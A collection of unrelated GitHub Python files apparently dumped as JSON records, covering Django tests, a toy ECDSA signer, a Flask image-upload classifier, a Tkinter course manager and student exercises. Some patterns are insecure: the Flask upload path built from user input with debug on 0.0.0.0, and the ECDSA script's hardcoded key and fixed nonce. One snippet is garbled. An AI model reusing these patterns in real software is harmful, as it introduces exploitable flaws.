0\nbig = 0\nbig = float(big)\nfor line in fh:\n if line.startswith(\"X-DSPAM-Confidence:\") :\n a = float(line[20:26])\n big = big + a\n count = count +1\n# print(count)\n# print(big)\nprint('Average spam confidence:',big/count)\n","repo_name":"aakashmathuri/Python","sub_path":"ex_07_00/ex_07_08.py","file_name":"ex_07_08.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6304685785","text":"from django.conf import settings\nfrom django.contrib.flatpages.forms import FlatpageForm\nfrom django.contrib.flatpages.models import FlatPage\nfrom django.contrib.sites.models import Site\nfrom django.test import TestCase, modify_settings, override_settings\nfrom django.utils import translation\n\n\n@modify_settings(INSTALLED_APPS={\"append\": [\"django.contrib.flatpages\"]})\n@override_settings(SITE_ID=1)\nclass FlatpageAdminFormTests(TestCase):\n @classmethod\n def setUpTestData(cls):\n # don't use the manager because we want to ensure the site exists\n # with pk=1, regardless of whether or not it already exists.\n cls.site1 = Site(pk=1, domain=\"example.com\", name=\"example.com\")\n cls.site1.save()\n\n def setUp(self):\n # Site fields cache needs to be cleared after flatpages is added to\n # INSTALLED_APPS\n Site._meta._expire_cache()\n self.form_data = {\n \"title\": \"A test page\",\n \"content\": \"This is a test\",\n \"sites\": [settings.SITE_ID],\n }\n\n def test_flatpage_admin_form_url_validation(self):\n \"The flatpage admin form correctly validates urls\"\n self.assertTrue(\n FlatpageForm(data=dict(url=\"/new_flatpage/\", **self.form_data)).is_valid()\n )\n self.assertTrue(\n FlatpageForm(\n data=dict(url=\"/some.special~chars/\", **self.form_data)\n ).is_valid()\n )\n self.assertTrue(\n FlatpageForm(\n data=dict(url=\"/some.very_special~chars-here/\", **self.form_data)\n ).is_valid()\n )\n\n self.assertFalse(\n FlatpageForm(data=dict(url=\"/a space/\", **self.form_data)).is_valid()\n )\n self.assertFalse(\n FlatpageForm(data=dict(url=\"/a % char/\", **self.form_data)).is_valid()\n )\n self.assertFalse(\n FlatpageForm(data=dict(url=\"/a ! char/\", **self.form_data)).is_valid()\n )\n self.assertFalse(\n FlatpageForm(data=dict(url=\"/a & char/\", **self.form_data)).is_valid()\n )\n self.assertFalse(\n FlatpageForm(data=dict(url=\"/a ? char/\", **self.form_data)).is_valid()\n )\n\n def test_flatpage_requires_leading_slash(self):\n form = FlatpageForm(data=dict(url=\"no_leading_slash/\", **self.form_data))\n with translation.override(\"en\"):\n self.assertFalse(form.is_valid())\n self.assertEqual(form.errors[\"url\"], [\"URL is missing a leading slash.\"])\n\n @override_settings(\n APPEND_SLASH=True, MIDDLEWARE=[\"django.middleware.common.CommonMiddleware\"]\n )\n def test_flatpage_requires_trailing_slash_with_append_slash(self):\n form = FlatpageForm(data=dict(url=\"/no_trailing_slash\", **self.form_data))\n with translation.override(\"en\"):\n self.assertEqual(\n form.fields[\"url\"].help_text,\n \"Example: “/about/contact/”. Make sure to have leading and \"\n \"trailing slashes.\",\n )\n self.assertFalse(form.is_valid())\n self.assertEqual(form.errors[\"url\"], [\"URL is missing a trailing slash.\"])\n\n @override_settings(\n APPEND_SLASH=False, MIDDLEWARE=[\"django.middleware.common.CommonMiddleware\"]\n )\n def test_flatpage_doesnt_requires_trailing_slash_without_append_slash(self):\n form = FlatpageForm(data=dict(url=\"/no_trailing_slash\", **self.form_data))\n self.assertTrue(form.is_valid())\n with translation.override(\"en\"):\n self.assertEqual(\n form.fields[\"url\"].help_text,\n \"Example: “/about/contact”. Make sure to have a leading slash.\",\n )\n\n def test_flatpage_admin_form_url_uniqueness_validation(self):\n \"\"\"\n The flatpage admin form correctly enforces url uniqueness among\n flatpages of the same site.\n \"\"\"\n data = dict(url=\"/myflatpage1/\", **self.form_data)\n\n FlatpageForm(data=data).save()\n\n f = FlatpageForm(data=data)\n\n with translation.override(\"en\"):\n self.assertFalse(f.is_valid())\n\n self.assertEqual(\n f.errors,\n {\n \"__all__\": [\n \"Flatpage with url /myflatpage1/ already exists for site \"\n \"example.com\"\n ]\n },\n )\n\n def test_flatpage_admin_form_edit(self):\n \"\"\"\n Existing flatpages can be edited in the admin form without triggering\n the url-uniqueness validation.\n \"\"\"\n existing = FlatPage.objects.create(\n url=\"/myflatpage1/\", title=\"Some page\", content=\"The content\"\n )\n existing.sites.add(settings.SITE_ID)\n\n data = dict(url=\"/myflatpage1/\", **self.form_data)\n\n f = FlatpageForm(data=data, instance=existing)\n\n self.assertTrue(f.is_valid(), f.errors)\n\n updated = f.save()\n\n self.assertEqual(updated.title, \"A test page\")\n\n def test_flatpage_nosites(self):\n data = dict(url=\"/myflatpage1/\", **self.form_data)\n data.update({\"sites\": \"\"})\n\n f = FlatpageForm(data=data)\n\n self.assertFalse(f.is_valid())\n\n self.assertEqual(\n f.errors, {\"sites\": [translation.gettext(\"This field is required.\")]}\n )\n","repo_name":"django/django","sub_path":"tests/flatpages_tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":5333,"program_lang":"python","lang":"en","doc_type":"code","stars":74132,"dataset":"github-code","pt":"37"} +{"seq_id":"44068471367","text":"import hashlib\n\nPcurve = 2 ** 256 - 2 ** 32 - 2 ** 9 - 2 ** 8 - 2 ** 7 - 2 ** 6 - 2 ** 4 - 1\nn = 115792089237316195423570985008687907852837564279074904382605163141518161494337\nGx = 55066263022277343669578718895168534326250603453777594175500187360389116729240\nGy = 32670510020758816978083085130507043184471273380659243275938904335757337482424\n\ndef ECadd(x1, x2, y1, y2):\n\n lam = ((y2 - y1) * pow((x2 - x1), -1, Pcurve)) % Pcurve\n x3 = (lam*lam - x1 - x2) % Pcurve\n y3 = (lam *(x1 - x3) - y1) % Pcurve\n\n return (x3, y3)\n\ndef ECdouble(x1, y1):\n\n lamD = ((3*(x1*x1)+0) * pow((2*y1), -1, Pcurve)) % Pcurve\n x3 = ((lamD*lamD) - (2*x1)) % Pcurve\n y3 = (lamD * (x1 - x3) - y1) % Pcurve\n\n return(x3, y3)\n\ndef ECmultiplication(Scalar, GenX, GenY):\n\n if Scalar == 0 or Scalar >= n:\n raise Exception(\"Invalid\")\n\n scalar_binary = str(bin(Scalar))[2:]\n CurX, CurY = GenX, GenY\n\n for i in range(1, len(scalar_binary)):\n CurX, CurY = ECdouble(CurX, CurY)\n if scalar_binary[i] == \"1\":\n CurX, CurY = ECadd(CurX, GenX, CurY, GenY)\n \n return (CurX, CurY)\n \ndef signatureGeneration(privateKey, randomNumber, hashedMessage):\n\n x, y = ECmultiplication(randomNumber, Gx, Gy)\n r = x % n\n s = (pow(randomNumber, -1, n) * (hashedMessage + r*privateKey)) % n\n return (r, s)\n\ndef verifySig(r1, s1, hashedMessage, publicKey):\n\n if ((r1 <= 0) or (s1 <= 0) or (r1 >= (n)) or (s1 >= (n))):\n raise Exception(\"Invalid\")\n\n u1 = hashedMessage * pow(s1, -1, n)\n u2 = r1 * pow(s1, -1, n)\n\n xu1, yu1 = ECmultiplication(u1%n, Gx, Gy)\n xu2, yu2 = ECmultiplication(u2%n, publicKey[0], publicKey[1])\n\n x, y = ECadd(xu1, xu2, yu1, yu2)\n\n if (r1 == x%n):\n return True\n else:\n return False\n\ndef createAddress(publickey):\n\n pubkeyStr = str(publickey[0]) + str(publickey[1])\n hash1 = hashlib.sha256(pubkeyStr.encode('utf-8')).hexdigest()\n hash2 = hashlib.sha256(hash1.encode('utf-8')).hexdigest()\n address = \"69\" + str(hash2)\n\n return address\n\n\ndef main():\n\n # Digital signatures\n randNumber = 1989189239293293\n HashOfMessage = 239823823823283232983982323892893\n\n # Erroneous Data\n # privKey = n+1\n # privKey = 0\n\n # Normal Data\n # privKey = 23828932738278372\n\n # Boundary data\n # privKey = n-1\n privKey =91865318790474171578907765630969544070277788816505973228091873448746859054462\n\n print(\"--------------------Private Key--------------------\")\n print(privKey)\n print(\"--------------------Public Key--------------------\")\n pubKey = ECmultiplication(privKey, Gx, Gy)\n print(pubKey)\n print(\"--------------------Uncompressed Public Key--------------------\")\n print(\"04 \" + str(hex(pubKey[0])[2:]) + \" \" + str(hex(pubKey[1]))[2:])\n print(\"--------------------PyChain Address--------------------\")\n pyaddress = createAddress(pubKey)\n print(pyaddress)\n r, s = signatureGeneration(privKey, randNumber, HashOfMessage)\n print(\"--------------------Signature Generation--------------------\")\n print((r, s))\n print(\"--------------------Signature Verification--------------------\")\n result = verifySig(r, s, HashOfMessage, pubKey)\n print(result)\n print(\"--------------------------------------------------------------\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"subeenregmi/pychain","sub_path":"code/address.py","file_name":"address.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"11785939983","text":"from flask import Flask, render_template, request, jsonify\nfrom datetime import datetime\nimport tensorflow as tf\nimport numpy as np\nimport os\n\n# 학습시킨 모델 불러오기 (0이면 고양이, 1이면 강아지)\nmodel = tf.keras.models.load_model('model.h5') \napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n return render_template('index.html')\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n file = request.files['file_give']\n title = request.form['title_give']\n extension = file.filename.split('.')[-1]\n today = datetime.now()\n mytime = today.strftime('%Y-%m-%d-%H-%M-%S')\n filename = f'{mytime}'\n save_to = f'static/img/catdog/{title}_{filename}.{extension}'\n file.save(save_to)\n return jsonify({'result':'success'})\n\n@app.route('/search', methods=['POST'])\ndef search():\n title = request.form['title_give']\n filenames = os.listdir('static/img/catdog')\n matched_files = ['static/img/catdog/'+filename for filename in filenames if title in filename]\n result_dict = []\n for index, matched_file in enumerate(matched_files):\n image = tf.keras.preprocessing.image.load_img(matched_file, target_size=(256, 256))\n input_arr = tf.keras.preprocessing.image.img_to_array(image)\n input_arr = np.array([input_arr])\n predictions = model.predict(input_arr)\n if predictions[0][0] > 0.5:\n result = '강아지'\n else:\n result = '고양이'\n result_dict.append({'index': index, 'path':matched_file, 'result':result})\n return jsonify({'predictions': result_dict})\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=8000, debug=True)","repo_name":"wonbbnote/timeattack","sub_path":"timeattack2/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26643038726","text":"convo_greet = [\"hello\",\"hi\",\"how are you\"]\nconvo_how = [\"how old are you\",\"how long have you been alive\"]\nconvo_where = [\"where are you\", \"where do you live\"]\nconvo_going = [\"bye\", \"see you later\"]\n\n\ndef resp():\n greet = input(\"Hello or Hi me to wake me up\")\n if greet in convo_greet:\n print(\"Hey!\")\n how = input(\"Ask me a how question\")\n if how in convo_how:\n print(\"I am a few hours old\")\n where = input(\"Try to get me to tell you where I am\") \n if where in convo_where:\n print(\"I currently live on the cloud\")\n bye = input(\"I'm a bit tired. can we call it a day?\")\n if bye in convo_going:\n print(\"Have a nice day :)\")\n elif bye not in convo_going:\n print(\"I'm sorry, I have to go now :(\")\n elif where not in convo_where:\n print(\"I might not be able to give a correct answer\")\n elif how not in convo_how:\n print(\"I'm sorry I don't have an answer to that question\")\n elif greet not in convo_greet:\n print(\"Hnmmm :/\")\n\n\nresp()\n\n\n \n","repo_name":"Ayblue004/pythonmbro","sub_path":"test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35175022020","text":"import sys\n\ndef operation1(input_string):\n\t'''\n\tinput arg:\n\t\tinput_list: string format data read from input file\n\t\t\te.g. \"1 2 3 4 5\"\n\t\n\toutput:\n\t\toutput_list: a list of integers\n\t\t\te.g. [1, 2, 3, 4, 5]\n\t'''\n\n# Please finish this function here.\n##################################### \n\tinput_data = input_string.split(\" \")\n\tfor i, obj in enumerate(input_data):\n\t\tinput_data[i] = int(input_data[i])\n\toutput_list = input_data\n#####################################\n\treturn output_list\n\ndef operation2(input_list):\n\t'''\n\tinput arg:\n\t\tinput_list: a list of integers\n\t\t\te.g. [1, 2, 3, 4, 5]\n\n\toutput:\n\t\toutput_list: a list of integers with each item added by 1\n\t\t\te.g. [2, 3, 4, 5, 6]\n\t'''\n\n# Please finish this function here.\n##################################### \n\tfor i, obj in enumerate(input_list):\n\t\tinput_list[i] += 1\n\toutput_list = input_list\n\n#####################################\n\treturn output_list\n\ndef operation3(input_list):\n\t'''\n\tinput arg:\n\t\tinput_list: a list of integers\n\t\t\te.g. [2, 3, 4, 5, 6]\n\n\toutput:\n\t\toutput_list: insert integer 100 at the end of the list\n\t\t\te.g. [2, 3, 4, 5, 6, 100]\n\t'''\n\n# Please finish this function here.\n#####################################\n\tinput_list.append(int(100))\n\toutput_list = input_list\n\n#####################################\n\treturn output_list\n\ndef operation4(input_list):\n\t'''\n\tinput arg:\n\t\tinput_list: a list of integers\n\t\t\te.g. [2, 3, 4, 5, 6, 100]\n\n\toutput:\n\t\toutput_list: reverse the integers in the list\n\t\t\te.g. [100, 6, 5, 4, 3, 2]\n\t'''\n\n# Please finish this function here.\n##################################### \n\tinput_list.reverse()\n\toutput_list = input_list\n\t\n#####################################\n\treturn output_list\n\ndef operation5(input_list):\n\t'''\n\tinput arg:\n\t\tinput_list: a list of integers\n\t\t\te.g. [100, 6, 5, 4, 3, 2]\n\n\toutput:\n\t\toutput_string: transform input_list into string format\n\t\t\te.g. \"100 6 5 4 3 2\"\n\t'''\n\n# Please finish this function here.\n##################################### \n\toutput_string = ''\n\tfor i,obj in enumerate(input_list):\n\t\toutput_string += str(input_list[i])\n\t\tif i != len(input_list):\n\t\t\toutput_string += ' '\n\t#print(output_string)\n\n\n#####################################\n\treturn output_string\n\nif __name__ == \"__main__\":\n\tinput_filename = sys.argv[1]\n\toutput_filename = sys.argv[2]\n\tinputfile = open(input_filename, 'r')\n\toutputfile = open(output_filename, 'w')\n\tdata = inputfile.read()\n\n\toutput1 = operation1(data)\n\toutput2 = operation2(output1)\n\toutput3 = operation3(output2)\n\toutput4 = operation4(output3)\n\toutput5 = operation5(output4)\n\n\toutputfile.write(output5)\n\tinputfile.close()\n\toutputfile.close()\n","repo_name":"BHChoEE/Algorithm2017","sub_path":"hw0/hw0.py","file_name":"hw0.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29052339757","text":"from flask import Flask, render_template\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route('/')\r\ndef projects():\r\n from pandas_datareader import data\r\n import datetime\r\n from bokeh.plotting import figure, show, output_file\r\n from bokeh.embed import components\r\n from bokeh.resources import CDN\r\n\r\n #Grab YTD\r\n start=datetime.datetime(2020,1,1)\r\n end = datetime.datetime.now()\r\n tsla = data.DataReader(name=\"TSLA\",data_source=\"yahoo\", start=start,end=end)\r\n\r\n #Function to return a status value depending on open/close relationship\r\n def pos_neg(o,c):\r\n if c>o:\r\n value = \"Positive\"\r\n elif c requirements.txt\r\n#git add .\r\n#git commit -m \"commit doc\"\r\n#git push heroku master","repo_name":"gjersing/website","sub_path":"finWeb/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4637052475","text":"import sqlite3\r\nimport subprocess\r\nimport tkinter as tk\r\nfrom tkinter import ttk, messagebox, simpledialog\r\n\r\n# Create the Main Window\r\nroot = tk.Tk()\r\nroot.title(\"Courses Information Management V2.0\")\r\nroot.geometry(\"600x410\")\r\nroot.resizable(False, False)\r\ncourse_list = ttk.Treeview(root)\r\n\r\nconn = sqlite3.connect(\"ssis.db\")\r\ncursor = conn.cursor()\r\ncursor.execute('''CREATE TABLE IF NOT EXISTS courses (\r\n coursecode TEXT PRIMARY KEY,\r\n coursename TEXT)''')\r\n\r\n\r\n# Function to FETCH and DISPLAY courses\r\ndef rtv():\r\n course_list.delete(*course_list.get_children())\r\n\r\n # Fetch courses from the database\r\n cursor.execute(\"SELECT * FROM courses\")\r\n rows = cursor.fetchall()\r\n\r\n # Insert courses into the tree view\r\n for idx, row in enumerate(rows):\r\n course_list.insert(parent=\"\", index=idx, iid=idx, text=row[0], values=(row[0], row[1]))\r\n\r\n\r\n\r\n# Function to ADD a course\r\ndef add_course():\r\n coursecode = coursecode_entry.get()\r\n coursename = coursename_entry.get()\r\n\r\n # Check if the coursecode or coursename is empty\r\n if not coursecode or not coursename:\r\n messagebox.showerror(\"Error\", \"Please enter both the Course and its Code.\")\r\n return\r\n\r\n # Insert the new course into the SQL database\r\n cursor.execute(\"INSERT INTO courses (coursecode, coursename) VALUES (?, ?)\", (coursecode, coursename))\r\n conn.commit()\r\n\r\n # Insert the new course into the Treeview\r\n course_list.insert(parent=\"\", index=\"end\", iid=coursecode, text=coursecode, values=(coursecode, coursename))\r\n\r\n # Clear the input fields\r\n coursecode_entry.delete(0, tk.END)\r\n coursename_entry.delete(0, tk.END)\r\n\r\n messagebox.showinfo(\"Success\", \"Course deleted successfully!\")\r\n\r\n rtv()\r\n\r\n\r\n# Function to delete a course\r\ndef delete_course():\r\n # Get the selected item from the tree view\r\n selected_item = course_list.selection()\r\n if not selected_item:\r\n return\r\n\r\n # Get the course code of the selected course\r\n course_code = course_list.item(selected_item)[\"values\"][0]\r\n\r\n # Check if the course code is used in the students table\r\n cursor.execute(\"SELECT * FROM students WHERE coursecode = ?\", (course_code,))\r\n students = cursor.fetchall()\r\n\r\n if len(students) > 0:\r\n # Display an error message using a dialogue prompt\r\n messagebox.showerror(\"Error Deleting\", \"The selected course has students enrolled. Remove or update students from this course to proceed.\")\r\n return\r\n\r\n # no purpose\r\n item_id = course_list.item(selected_item)[\"text\"]\r\n\r\n # Ask for confirmation using a dialogue prompt\r\n confirm = messagebox.askyesno(\"Confirmation\", \"Are you sure you want to delete this course?\")\r\n\r\n if confirm:\r\n # Delete the course from the database using ID\r\n cursor.execute(\"DELETE FROM courses WHERE coursecode=?\", (course_code,))\r\n conn.commit()\r\n\r\n # Delete the selected course from the tree view\r\n course_list.delete(selected_item)\r\n\r\n rtv()\r\n\r\n\r\n\r\n# Function to UPDATE a course\r\ndef update_course():\r\n # Get the selected item from the tree view\r\n selected_item = course_list.selection()\r\n if not selected_item:\r\n return\r\n\r\n # no purpose\r\n item_id = course_list.item(selected_item)[\"text\"]\r\n\r\n # Get the current values of the selected course\r\n current_values = course_list.item(selected_item)[\"values\"]\r\n\r\n # Disable the coursecode entry field\r\n coursecode_entry.configure(state=\"disabled\")\r\n\r\n # Enable the coursename entry field for editing\r\n coursename_entry.configure(state=\"normal\")\r\n\r\n # Populate the coursename entry field with the current value\r\n coursename_entry.delete(0, tk.END)\r\n coursename_entry.insert(0, current_values[1])\r\n\r\n # Define the confirm_update function\r\n def confirm_update(coursecode):\r\n # Get the updated value for coursename from the entry field\r\n coursename = coursename_entry.get()\r\n\r\n # Ask for confirmation using a dialogue prompt\r\n confirm = messagebox.askyesno(\"Confirmation\", \"Are you sure you want to update this course?\")\r\n\r\n if confirm:\r\n # Update the course data in the database\r\n cursor.execute(\r\n \"UPDATE courses SET coursename=? WHERE coursecode=?\",\r\n (coursename, coursecode))\r\n conn.commit()\r\n\r\n # Clear entry fields and refresh the tree view\r\n coursename_entry.delete(0, tk.END)\r\n coursecode_entry.configure(state=\"normal\")\r\n\r\n # Change the text and command of the update_button back to its original state\r\n update_button.configure(text=\"Update\", command=update_course)\r\n\r\n rtv()\r\n\r\n # Get the course code of the selected course\r\n coursecode = current_values[0]\r\n\r\n # Change the text and command of the update_button\r\n update_button.configure(text=\"Confirm\", command=lambda: confirm_update(coursecode))\r\n\r\n\r\n\r\n# Function to OPEN SSISv2.py\r\ndef open_program():\r\n program_path = \"D:/Downloads/SSIS/sis(2).py\"\r\n try:\r\n subprocess.Popen([\"python\", program_path])\r\n except FileNotFoundError:\r\n print(\"Program file not found.\")\r\n\r\n root.destroy()\r\n\r\n\r\n# Function to SEARCH\r\ndef search():\r\n search_text = search_entry.get()\r\n\r\n # Clear the tree view\r\n course_list.delete(*course_list.get_children())\r\n\r\n # Fetch courses from the database\r\n cursor.execute(\"SELECT * FROM courses\")\r\n rows = cursor.fetchall()\r\n\r\n # Insert matching courses into the tree view\r\n for idx, row in enumerate(rows):\r\n values = (row[0], row[1])\r\n found = False\r\n\r\n # Check\r\n for value in values:\r\n if search_text.lower() in str(value).lower():\r\n found = True\r\n break\r\n\r\n # Insert\r\n if found:\r\n course_list.insert(parent=\"\", index=idx, iid=idx, text=row[0], values=values)\r\n\r\n # Clear\r\n search_entry.delete(0, tk.END)\r\n\r\n\r\n# Buttons\r\nadd_button = tk.Button(root, text=\"Add Course\", command=add_course, bg=\"#abdbe3\")\r\nadd_button.grid(row=2, column=1, padx=5, pady=5)\r\n\r\ndelete_button = tk.Button(root, text=\"Delete Course\", command=delete_course, bg=\"#F77070\")\r\ndelete_button.grid(row=5, column=0, padx=5, pady=5)\r\n\r\nupdate_button = tk.Button(root, text=\"Update\", command=update_course, bg=\"#C18AF7\")\r\nupdate_button.grid(row=2, column=0, padx=5, pady=5)\r\n\r\nssis_button = tk.Button(root, text=\"Students\", command=open_program, bg=\"#eab676\")\r\nssis_button.grid(row=5, column=1, padx=5, pady=5)\r\n\r\nsearch_button = tk.Button(root, text=\"Search\", command=search)\r\nsearch_button.grid(row=3, column=1, padx=5, pady=5)\r\n\r\n\r\n# Course Information Form\r\ncoursecode_label = tk.Label(root, text=\"Course Code:\")\r\ncoursecode_label.grid(row=0, column=0, padx=5, pady=5)\r\ncoursecode_entry = tk.Entry(root)\r\ncoursecode_entry.grid(row=0, column=1, padx=5, pady=5)\r\n\r\ncoursename_label = tk.Label(root, text=\"Course Name:\")\r\ncoursename_label.grid(row=1, column=0, padx=5, pady=5)\r\ncoursename_entry = tk.Entry(root)\r\ncoursename_entry.grid(row=1, column=1, padx=5, pady=5)\r\n\r\nsearch_entry = tk.Entry(root)\r\nsearch_entry.grid(row=3, column=0, padx=5, pady=5)\r\n\r\n\r\n# Treeview\r\ncourse_list = ttk.Treeview(root)\r\ncourse_list[\"columns\"] = (\"coursecode\", \"coursename\")\r\ncourse_list.grid(row=4, column=0, columnspan=2, padx=5, pady=5)\r\n\r\ncourse_list.heading(\"#0\", text=\"ID\")\r\ncourse_list.heading(\"coursecode\", text=\"Course Code\")\r\ncourse_list.heading(\"coursename\", text=\"Course\")\r\n\r\ncourse_list.column(\"#0\", width=0, stretch=tk.NO)\r\ncourse_list.column(\"coursecode\", width=150, anchor=tk.CENTER)\r\ncourse_list.column(\"coursename\", width=440, anchor=tk.CENTER)\r\n\r\n\r\nrtv()\r\nroot.mainloop()\r\n","repo_name":"ynbyl/comsci","sub_path":"CCC151/sis(3).py","file_name":"sis(3).py","file_ext":"py","file_size_in_byte":7750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15647427006","text":"import json\r\n\r\nclass Vehiculo (object):\r\n \"\"\"docstring for Vehiculo\"\"\"\r\n def _init_(self, modelo, cantidad_puertas, color, precio_base):\r\n self.modelo = modelo\r\n self.cantidad_puertas = cantidad_puertas\r\n self.color = color\r\n self.precio_base = precio_base\r\n\r\n def calcular_precio_venta(self):\r\n pass\r\n\r\nclass VehiculoNuevo(Vehiculo):\r\n \"\"\"docstring for VehiculoNuevo\"\"\"\r\n def _init_(self, modelo, cantidad_puertas, color, precio_base, version):\r\n super()._init_(modelo, cantidad_puertas, color, precio_base)\r\n self.version = version\r\n\r\n def calcular_precio_venta(self):\r\n porcentaje_patentamiento = 0.10\r\n porcentaje_version = 0.02\r\n\r\n precio_venta = self.precio_base + (self.precio_base * porcentaje_patentamiento)\r\n if self.version == \"full\":\r\n precio_venta += self.precio_base * porcentaje_version\r\n\r\n return precio_venta\r\n\r\nclass VehiculoUsado(Vehiculo):\r\n \"\"\"docstring for VehiculoUsado\"\"\"\r\n def _init_(self, modelo, cantidad_puertas, color, precio_base, marca, patente, anio, kilometraje):\r\n super()._init_(modelo, cantidad_puertas, color, precio_base)\r\n self.marca = marca\r\n self.patente = patente\r\n self.anio = anio\r\n self.kilometraje = kilometraje\r\n\r\n def calcular_precio_venta(self):\r\n porcentaje_antiguedad = 0.01\r\n porcentaje_kilometraje = 0.02\r\n anio_actual = 2023\r\n\r\n antiguedad = anio_actual - self.anio\r\n porcentaje_descuento = antiguedad * porcentaje_antiguedad\r\n\r\n if self.kilometraje > 100000:\r\n porcentaje_descuento += porcentaje_kilometraje\r\n\r\n precio_venta = self.precio_base - (self.precio_base * porcentaje_descuento)\r\n return precio_venta\r\n\r\nclass ListaVehiculos(object):\r\n \"\"\"docstring for ListaVehiculos\"\"\"\r\n def _init_(self):\r\n self.vehiculos = []\r\n\r\n def _iter_(self):\r\n return iter(self.vehiculos)\r\n\r\n def insertar_vehiculo(self, vehiculo, posicion):\r\n self.vehiculos.insert(posicion, vehiculo)\r\n\r\n def agregar_vehiculo(self, vehiculo):\r\n self.vehiculos.append(vehiculo)\r\n\r\n def obtener_tipo_vehiculo(self, posicion):\r\n vehiculo = self.vehiculos[posicion]\r\n if isinstance(vehiculo, VehiculoNuevo):\r\n return \"Vehículo Nuevo\"\r\n elif isinstance(vehiculo, VehiculoUsado):\r\n return \"Vehículo Usado\"\r\n else:\r\n return \"Tipo de vehículo desconocido\"\r\n\r\n def modificar_precio_venta(self, patente, nuevo_precio_base):\r\n for vehiculo in self.vehiculos:\r\n if isinstance(vehiculo, VehiculoUsado) and vehiculo.patente == patente:\r\n vehiculo.precio_base = nuevo_precio_base\r\n print(f\"El nuevo precio base del vehículo con patente {patente} es: {vehiculo.precio_base}\")\r\n print(f\"El precio de venta del vehículo es: {vehiculo.calcular_precio_venta()}\")\r\n\r\n def obtener_vehiculo_mas_economico(self):\r\n if not self.vehiculos:\r\n return None\r\n\r\n vehiculo_mas_economico = self.vehiculos[0]\r\n for vehiculo in self.vehiculos:\r\n if vehiculo.calcular_precio_venta() < vehiculo_mas_economico.calcular_precio_venta():\r\n vehiculo_mas_economico = vehiculo\r\n\r\n return vehiculo_mas_economico\r\n\r\n def mostrar_vehiculos(self):\r\n for vehiculo in self.vehiculos:\r\n print(f\"Modelo: {vehiculo.modelo}, Puertas: {vehiculo.cantidad_puertas}, Precio de venta: {vehiculo.calcular_precio_venta()}\")\r\n\r\n\r\ndef leer_archivo_vehiculos():\r\n with open(\"vehiculos.json\", \"r\") as file:\r\n data = json.load(file)\r\n\r\n lista_vehiculos = ListaVehiculos()\r\n\r\n for vehiculo_data in data:\r\n modelo = vehiculo_data[\"modelo\"]\r\n cantidad_puertas = vehiculo_data[\"cantidad_puertas\"]\r\n color = vehiculo_data[\"color\"]\r\n precio_base = vehiculo_data[\"precio_base\"]\r\n\r\n if \"version\" in vehiculo_data:\r\n version = vehiculo_data[\"version\"]\r\n vehiculo = VehiculoNuevo(modelo, cantidad_puertas, color, precio_base, version)\r\n else:\r\n marca = vehiculo_data[\"marca\"]\r\n patente = vehiculo_data[\"patente\"]\r\n anio = vehiculo_data[\"anio\"]\r\n kilometraje = vehiculo_data[\"kilometraje\"]\r\n vehiculo = VehiculoUsado(modelo, cantidad_puertas, color, precio_base, marca, patente, anio, kilometraje)\r\n\r\n lista_vehiculos.agregar_vehiculo(vehiculo)\r\n\r\n return lista_vehiculos\r\n\r\ndef mostrar_menu():\r\n print(\"Menu de opciones:\")\r\n print(\"1) Insertar un vehículo en la colección en una posición determinada.\")\r\n print(\"2) Agregar un vehículo a la colección.\")\r\n print(\"3) Dada una posición de la Lista, mostrar por pantalla qué tipo de objeto se encuentra almacenado en dicha posición.\")\r\n print(\"4) Dada la patente de un vehículo usado, modificar el precio base, y luego mostrar el precio de venta.\")\r\n print(\"5) Mostrar todos los datos, incluido el importe de venta, del vehículo más económico.\")\r\n print(\"6) Mostrar para todos los vehículos que la concesionaria tiene a la venta, modelo, cantidad de puertas e importe de venta.\")\r\n print(\"7) Almacenar los objetos de la colección Lista en el archivo 'vehiculos.json'.\")\r\n print(\"0) Salir\")\r\n\r\ndef ejecutar_opcion(opcion, lista_vehiculos):\r\n if opcion == 1:\r\n modelo = input(\"Ingrese el modelo del vehículo: \")\r\n cantidad_puertas = int(input(\"Ingrese la cantidad de puertas del vehículo: \"))\r\n color = input(\"Ingrese el color del vehículo: \")\r\n precio_base = float(input(\"Ingrese el precio base del vehículo: \"))\r\n version = input(\"Ingrese la versión del vehículo (base o full): \")\r\n vehiculo = VehiculoNuevo(modelo, cantidad_puertas, color, precio_base, version)\r\n posicion = int(input(\"Ingrese la posición en la que desea insertar el vehículo: \"))\r\n lista_vehiculos.insertar_vehiculo(vehiculo, posicion)\r\n print(\"Vehículo insertado correctamente.\")\r\n\r\n elif opcion == 2:\r\n modelo = input(\"Ingrese el modelo del vehículo: \")\r\n cantidad_puertas = int(input(\"Ingrese la cantidad de puertas del vehículo: \"))\r\n color = input(\"Ingrese el color del vehículo: \")\r\n precio_base = float(input(\"Ingrese el precio base del vehículo: \"))\r\n marca = input(\"Ingrese la marca del vehículo usado: \")\r\n patente = input(\"Ingrese la patente del vehículo usado: \")\r\n anio = int(input(\"Ingrese el año del vehículo usado: \"))\r\n kilometraje = float(input(\"Ingrese el kilometraje del vehículo usado: \"))\r\n vehiculo = VehiculoUsado(modelo, cantidad_puertas, color, precio_base, marca, patente, anio, kilometraje)\r\n lista_vehiculos.agregar_vehiculo(vehiculo)\r\n print(\"Vehículo agregado correctamente.\")\r\n\r\n elif opcion == 3:\r\n posicion = int(input(\"Ingrese la posición de la lista: \"))\r\n tipo_vehiculo = 